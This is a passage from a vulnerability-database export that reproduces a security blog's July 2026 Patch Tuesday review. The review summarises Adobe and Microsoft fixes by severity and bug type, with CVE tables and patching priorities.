Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:02.798058Z"}, {"uuid": "c12d66bd-25c9-4622-b3ef-7e023ff8817f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54986", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  